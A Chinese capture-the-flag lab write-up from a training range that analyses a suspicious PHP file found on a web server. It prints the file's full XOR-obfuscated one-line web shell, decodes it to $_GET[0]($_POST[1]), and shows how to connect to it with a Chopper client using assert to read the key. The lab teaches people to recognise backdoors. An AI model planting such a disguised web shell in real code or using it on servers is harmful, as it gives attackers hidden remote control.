[ 墨者学院 ] 代码审计 —— PHP代码分析溯源(第1题)
0x01.题目描述:
背景介绍
某日,在某公司做IT维护的朋友给安全工程师"墨者"发了一个PHP文件,说在其WEB服务器发现多了一个b.php文件,目前不确定这个文件是开发留下的正常文件还是攻击者上传的木马后门,希望"墨者"能够帮他分析一下。
实训目标
1、了解PHP语言的基本代码;
2、了解PHP语言中“危险”函数的代码;
0x02.解题过程:
启动靶场环境后,点击生成的链接地址,这里给出了b.php的代码
1 <?php 2 @$_++; 3 $__=("`"^"?").(":"^"}").("%"^"`").("{"^"/"); 4 $___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|"); 5 ${$__}[!$_](${$___}[$_]); 6 ?>
下面利用php在线工具分析一下这些代码的含义。
(php在线工具:https://tool.lu/coderunner/)
可以看到这里赋值的三个变量的值:
$_ = 1
$__ = _GET
$___ = _POST
然后将这三个值带入下面的语句${$__}[!$_](${$___}[$_])};中,即:${_GET}[!1](${_POST}[1]);最后的结果就是:$_GET[0]($_POST[1]);
构造菜刀的链接参数为http://url/b.php?0=assert,密码为1。
连接即可拿到靶机目录下的key。
问题总结:
这里不明白的是为什么使用的参数是assert而不是eval,下面简述一下assert和eval的不同。
eval函数中参数是字符,如: eval('echo 1;'); assert函数中参数为表达式 (或者为函数),如: assert(phpinfo())